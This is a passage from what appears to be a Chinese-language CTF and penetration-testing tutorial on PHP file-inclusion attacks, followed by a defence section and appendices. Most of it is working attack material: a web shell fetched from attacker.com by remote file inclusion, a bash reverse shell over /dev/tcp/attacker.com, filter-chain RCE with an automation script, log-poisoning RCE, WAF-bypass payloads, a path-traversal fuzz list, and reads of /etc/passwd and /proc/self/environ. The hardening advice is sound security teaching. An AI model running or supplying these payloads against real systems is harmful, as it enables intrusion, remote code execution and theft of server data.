python3 -m http.server 80
# 或
php -S 0.0.0.0:80
# 2. 准备 shell.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 3. 触发 RFI 并执行命令
curl "http://target.com/index.php?page=http://attacker.com/shell.php&cmd=id"
# 4. 升级为反弹 Shell
curl "http://target.com/index.php?page=http://attacker.com/shell.php&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261'"
# 监听反弹 Shell
nc -lvnp 4444
8、Filter 链 RCE(无文件写入)
PHP Filter Chain 是 2022 年公开的新型利用技术,通过串联多个 php://filter 转换器,将 /dev/null 等空文件"变换"出任意 PHP 代码内容,实现无文件写入的纯 LFI RCE。
8.1 原理
php://filter 支持 iconv 字符集转换(convert.iconv.X.Y)
不同字符集之间的转换可能导致字节序列发生变化
通过精心构造的转换链,可以从空内容中生成任意字节序列
最终生成的字节序列 = 目标 PHP 代码
include 该 filter 链 → PHP 执行生成的代码
8.2 使用工具自动生成
# php_filter_chain_generator(推荐工具)
# https://github.com/synacktiv/php_filter_chain_generator
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
# 生成执行 phpinfo() 的 filter 链
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
# 生成执行任意命令的 filter 链
python3 php_filter_chain_generator.py --chain '<?= system($_GET["cmd"]); ?>'
# 生成写入 WebShell 的 filter 链
python3 php_filter_chain_generator.py --chain '<?php file_put_contents("/var/www/html/shell.php","<?php system($_GET[cmd]); ?>"); ?>'
8.3 使用示例
# 生成 filter 链(输出很长的 URL)
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?= system($_GET[1]); ?>' | grep "^php://")
# 使用 filter 链触发 RCE
curl "http://target.com/index.php?page=${CHAIN}&1=id"
# Python 自动化利用脚本
import requests
import subprocess
TARGET = "http://target.com/index.php"
PARAM = "page" # 文件包含参数名
CMD_PARAM = "1" # 命令参数名
def gen_chain(php_code):
result = subprocess.run(
["python3", "php_filter_chain_generator.py", "--chain", php_code],
capture_output=True, text=True
)
for line in result.stdout.splitlines():
if line.startswith("php://"):
return line
return None
def execute_command(cmd):
php_code = f'<?= system($_GET["{CMD_PARAM}"]); ?>'
chain = gen_chain(php_code)
if not chain:
print("[-] Failed to generate chain")
return
r = requests.get(TARGET, params={PARAM: chain, CMD_PARAM: cmd})
# 提取输出(filter 链生成的内容前后可能有乱码)
output = r.text
# 简单清理
return output
print(execute_command("id"))
print(execute_command("cat /etc/passwd"))
8.4 适用条件
✅ 存在 LFI 漏洞(include/require 等)
✅ PHP 版本 >= 5.3.0(支持 iconv 过滤器)
✅ 无需 allow_url_include = On
✅ 无需文件上传
✅ 无需日志污染
❌ 不适用于 file_get_contents()(不执行代码)
❌ 不适用于 readfile()(不执行代码)
9、WAF 绕过技术
9.1 路径穿越过滤绕过
过滤 ../ 时的绕过
# 嵌套穿越(WAF 删除一次 ../ 后剩余 ../)
....// → 过滤 ../ 后得到 ../
....\/ → 过滤 ..\ 后得到 ..\
..././ → 过滤 ./ 后得到 ../
# URL 编码
..%2f → ../(URL 解码后得到 ../)
..%252f → ..%2f → ../(双重 URL 编码)
%2e%2e%2f → ../(全编码)
%2e%2e/ → ../(仅编码 ..)
..%c0%af → ../(非标准 UTF-8)
..%c1%9c → ..\(Windows 非标准)
# 大小写(Windows 不区分)
..\ → Windows 路径分隔
../ → Linux 路径穿越
# 多重斜杠
..././ → 过滤 ./ 后得到 ../
过滤路径关键词时的绕过
# 过滤了 /etc/passwd
/etc/./passwd # 当前目录
/etc/passwd/. # 末尾 .
/etc//passwd # 双斜杠
/etc/PASS\ WD # 某些系统大小写不敏感 + 特殊字符
/etc/p*sswd # 通配符(某些包含场景支持)
/./etc/./passwd # 多余的 ./
//etc//passwd # 多个斜杠
9.2 伪协议过滤绕过
过滤 php://
# 大小写混淆
PHP://filter/...
Php://Filter/...
pHp://FiLtEr/...
# URL 编码
%70%68%70%3a%2f%2f → php://
php%3a%2f%2f → php://
php:%2f%2f → php://
# 双重编码
php%253a%252f%252f → php%3a%2f%2f → php://
过滤 filter
# 大小写
php://Filter/
php://FILTER/
# URL 编码
php://fi%6c%74%65%72/ → php://filter/
php://%66%69%6c%74%65%72/ → php://filter/
# 双重编码
php://%2566%2569%256c%2574%2565%2572/ → php://filter/
过滤特定资源路径
# 目标代码:if (strstr($page, 'php://filter')) die();
# 使用其他伪协议替代
?page=data://text/plain;base64,...
?page=php://input (POST 提交代码)
?page=phar:///tmp/shell.phar/test
?page=zip:///tmp/shell.zip%23shell.php
# 绕过对资源路径中关键字的过滤
php://filter/convert.base64-encode/resource=index.php
→ php://filter/convert.base64-encode/resource=./index.php (加 ./)
→ php://filter/convert.base64-encode/resource=php://filter/resource=index.php (嵌套)
9.3 文件扩展名过滤绕过
// 目标代码
$ext = pathinfo($_GET['page'], PATHINFO_EXTENSION);
if ($ext !== 'php') die('Only PHP files allowed');
include($_GET['page']);
# 方法1:URL 片段 (#) 截断(某些解析器的差异)
?page=../../../../etc/passwd#.php (# 后为片段,不算扩展名)
?page=../../../../etc/passwd%23.php (URL 编码 #)
# 方法2:路径截断
?page=../../../../etc/passwd/.php (/.php 让 pathinfo 识别扩展名为 php)
?page=../../../../etc/passwd%00.php (空字节截断,PHP < 5.3.4)
# 方法3:文件名中含有多个扩展名
?page=shell.php.jpg (当代码用 strpos 检测)
# 方法4:大小写绕过(Windows)
?page=../../../../Windows/System32/drivers/etc/hosts.PHP
9.4 绕过 include 路径限制
// 目标代码
if (strpos($page, '/') !== false || strpos($page, '\\') !== false) {
die('No path traversal');
}
include("pages/" . $page . ".php");
# 此时只能包含 pages/ 目录下的文件
# 方法1:目录遍历在允许的文件名中
?page=. → include("pages/.php") 可能报错泄露路径
?page=.. → 被阻止(含 /)
# 方法2:若 pages/ 目录本身有可利用的文件
?page=index → pages/index.php(白盒审计寻找 pages/ 下的敏感文件)
# 方法3:寻找其他注入点(请求头、Cookie 等)
Cookie: page=../../../../etc/passwd%00
9.5 WAF 特征字符绕过
# 过滤了 ..(两个点)
# 使用绝对路径(无需 ..)
?page=/etc/passwd
?page=file:///etc/passwd
# 过滤了 /etc
# 使用通配符(某些场景)
?page=/e.c/passwd
?page=/???/passwd
# 过滤了 passwd
?page=/etc/pass*
?page=/etc/pa??wd
# 组合绕过
?page=..%252f..%252f..%252fetc%252fpasswd 双重编码
?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd 非标准编码
9.6 利用协议差异绕过
# 某些 WAF 只检测以 / 开头的路径或以 http:// 开头的 URL
# 使用 file:// 绕过
?page=file:///etc/passwd # 等价于 /etc/passwd
?page=file://localhost/etc/passwd
# 某些 WAF 只检测 php:// 开头
# 使用 data:// 替代
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# 使用 PHP 的大小写不敏感特性(PHP 伪协议大小写不敏感)
?page=PHP://filter/convert.base64-encode/resource=index.php
?page=Data://text/plain;base64,...
10、CTF 实战思路
10.1 文件包含漏洞快速定位
发现文件包含参数(page/file/template/lang/view)
↓
1. 测试基础路径穿越
?page=../../../../etc/passwd → 成功则为 LFI
?page=http://attacker.com/ → 成功则为 RFI
2. 测试 PHP 伪协议
?page=php://filter/convert.base64-encode/resource=index.php
→ 成功则可读取 PHP 源码
3. 测试 data://(RCE)
?page=data://text/plain,<?php phpinfo(); ?>
→ 成功则可直接 RCE
4. 枚举敏感文件
/etc/passwd / /proc/self/environ / /var/log/apache2/access.log
10.2 LFI 转 RCE 选择策略
存在 LFI →
├── data:// 可用? → 直接 RCE ✅
├── php://input 可用? → 直接 RCE ✅
├── allow_url_include = On? → RFI 直接 RCE ✅
├── 可上传文件? → 包含上传的图片马 ✅
├── 日志文件可读?
│ ├── Apache: /var/log/apache2/access.log → 日志污染 ✅
│ ├── Nginx: /var/log/nginx/access.log → 日志污染 ✅
│ └── SSH: /var/log/auth.log → SSH 用户名污染 ✅
├── Session 文件可控? → Session 污染 ✅
├── Docker 环境? → pearcmd.php 利用 ✅
├── phpinfo 可访问? → 临时文件竞争 ✅
├── /proc/self/fd/ 可访问? → fd 枚举 ✅
└── 以上都不可用? → PHP Filter Chain RCE ✅
(无需写入,纯 LFI 即可)
10.3 常见 CTF 题型
题型一:读取 flag 文件
# 直接路径穿越读取
?page=../../../../flag
?page=../../../../flag.txt
?page=../../../../flag.php
# 用 Base64 过滤器读取(防止 PHP 代码被执行)
?page=php://filter/convert.base64-encode/resource=../../flag.php
题型二:读取源码审计进一步利用
# 读取所有 PHP 文件
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=../include/db.php
?page=php://filter/convert.base64-encode/resource=../admin/index.php
# 批量读取脚本
python3 - <<'EOF'
import requests, base64
TARGET = "http://target.com/index.php?page=php://filter/convert.base64-encode/resource="
FILES = ['index.php', 'config.php', 'upload.php', '../flag.php', '/etc/passwd']
for f in FILES:
r = requests.get(TARGET + f)
if r.status_code == 200 and len(r.text) > 0:
try:
decoded = base64.b64decode(r.text.strip()).decode('utf-8', errors='ignore')
print(f"=== {f} ===")
print(decoded[:500])
except:
print(f"=== {f} === (raw): {r.text[:200]}")
EOF
题型三:LFI + 日志污染 RCE
# 完整攻击流程
# 1. 确认日志路径
curl "http://target.com/?page=/var/log/apache2/access.log"
# 2. 写入 PHP 代码到 User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# 3. 包含日志并执行命令
curl "http://target.com/?page=/var/log/apache2/access.log&cmd=id"
curl "http://target.com/?page=/var/log/apache2/access.log&cmd=cat+/flag"
题型四:filter 链 RCE
# 适合完全 LFI 但无法写文件/污染日志的场景
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
# 生成并利用
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?= system($_GET[1]); ?>' | grep "^php://")
curl "http://target.com/?page=${CHAIN}&1=cat+/flag"
10.4 快速信息收集 Payload
# 一次性获取关键信息
curl "http://target.com/?page=/proc/self/environ" # 环境变量
curl "http://target.com/?page=/proc/self/cmdline" # 进程命令行
curl "http://target.com/?page=/etc/passwd" # 用户列表
curl "http://target.com/?page=/proc/net/tcp" # 开放端口(16进制)
# 获取 Web 根目录
curl "http://target.com/?page=php://filter/convert.base64-encode/resource=/proc/self/cwd"
# 解码后为当前工作目录(软链接)
11、防御措施
11.1 代码层面防御
// 1. 白名单验证(最有效的防御)
$allowed_pages = ['home', 'about', 'contact', 'news'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages)) {
http_response_code(403);
die('Page not found');
}
// 注意:不要用用户输入拼接路径,直接用白名单映射
$page_map = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
];
include($page_map[$page]);
// 2. 路径规范化 + 前缀校验
function safe_include($page) {
// 规范化路径(解析 ../ 等)
$base_dir = realpath('/var/www/html/pages') . '/';
$real_path = realpath($base_dir . $page . '.php');
// 确保路径在允许的目录内
if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
die('Invalid path');
}
include($real_path);
}
// 3. 过滤危险字符
function sanitize_path($path) {
// 移除 ../ 和 ..\
$path = str_replace(['../', '..\\ ', '../', '..\\ '], '', $path);
// 移除 null 字节
$path = str_replace("\0", '', $path);
// 只允许字母、数字、下划线、横线
$path = preg_replace('/[^a-zA-Z0-9_\-]/', '', $path);
return $path;
}
11.2 PHP 配置加固
; php.ini 关键配置
; 禁止远程文件包含(最重要)
allow_url_include = Off
; 限制文件操作范围
open_basedir = /var/www/html:/tmp
; 关闭错误信息回显(防止路径泄露)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log
; 禁用危险函数
disable_functions = exec,system,passthru,shell_exec,popen,proc_open,pcntl_exec,eval,assert
; 关闭 phar(若不使用)
phar.readonly = On
; 限制 PHAR 序列化(PHP 7.4+)
phar.cache_list = /dev/null
11.3 Web 服务器配置
# Nginx 防止访问敏感文件
server {
# 禁止访问 .php 以外的文件(若有文件上传目录)
location /uploads {
# 仅允许图片类型
location ~* \.(php|php3|php4|php5|phtml|phar)$ {
deny all;
}
}
# 禁止访问隐藏文件
location ~ /\. {
deny all;
}
# 禁止访问日志目录
location ~ ^/var/log {
deny all;
}
}
# Apache .htaccess 防护
# 禁止上传目录执行 PHP
<Directory /var/www/html/uploads>
php_flag engine off
<FilesMatch "\.(php|phtml|phar)$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>
# 阻止路径穿越
RewriteEngine On
RewriteCond %{QUERY_STRING} \.\./ [NC]
RewriteRule .* - [F,L]
11.4 防御检查清单
✅ 永远不要将用户输入直接传入 include/require
✅ 使用文件路径白名单而非黑名单过滤
✅ 使用 realpath() 规范化路径后验证前缀
✅ 设置 open_basedir 限制 PHP 可访问的目录范围
✅ 关闭 allow_url_include(默认已关闭,确认未被开启)
✅ 上传文件存储在 Web 根目录外,或禁止上传目录执行 PHP
✅ 生产环境关闭错误回显(display_errors = Off)
✅ 定期检查应用是否存在 phpinfo() 页面并删除
✅ 限制 Web 进程用户权限(最小权限原则)
✅ 部署 WAF 过滤路径穿越特征
✅ 审计所有 include/require 调用,确认无用户可控参数
✅ 更新 PHP 至安全版本(>= 5.3.4,修复空字节截断)
附录
A. 常见路径穿越 Fuzz 字典
../
..\
....//
....\\
..././
...\.\
%2e%2e%2f
%2e%2e/
..%2f
..%5c
%2e%2e%5c
..%252f
..%c0%af
..%c1%9c
%252e%252e%252f
%%32%65%%32%65%%32%66
..%255c
.%2e/
%2e./
B. 常用 PHP 伪协议速查
| 伪协议 | 用途 | 需 allow_url_include |
|---|---|---|
php://filter |
读取并编码文件内容 | ❌ 不需要 |
php://input |
执行 POST 数据中的代码 | ✅ 需要 |
data:// |
执行内联数据中的代码 | ✅ 需要 |
phar:// |
触发 phar 反序列化 | ❌ 不需要 |
zip:// |
包含 ZIP 内文件 | ❌ 不需要 |
expect:// |
直接执行命令(需扩展) | ❌ 不需要 |
file:// |
读取本地文件 | ❌ 不需要 |
http:// |
包含远程文件 | ✅ 需要 |
ftp:// |
包含 FTP 文件 | ✅ 需要 |
C. LFI 转 RCE 方法对比
| 方法 | 前提条件 | 难度 | 通用性 |
|---|---|---|---|
| data:// | allow_url_include=On | ⭐ 低 | 🟡 中 |
| php://input | allow_url_include=On | ⭐ 低 | 🟡 中 |
| RFI | allow_url_include=On | ⭐ 低 | 🟡 中 |
| 日志污染 | 日志可读 + 内容可控 | ⭐⭐ 中 | 🟢 高 |
| Session 污染 | Session 内容可控 | ⭐⭐ 中 | 🟢 高 |
| 上传文件包含 | 存在上传功能 | ⭐⭐ 中 | 🟢 高 |
| pearcmd.php | Docker PHP 镜像 | ⭐⭐ 中 | 🟡 中 |
| phpinfo 竞争 | phpinfo 可访问 | ⭐⭐⭐ 高 | 🟡 中 |
| /proc/self/fd | Linux + fd 可枚举 | ⭐⭐⭐ 高 | 🟡 中 |
| PHP Filter Chain | 纯 LFI 即可 | ⭐⭐⭐ 高 | 🟢 高 |
| phar 反序列化 | 可上传 phar 文件 | ⭐⭐⭐ 高 | 🟡 中 |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。文件包含漏洞的利用未经授权属于违法行为,请在合法合规的环境中学习与实践。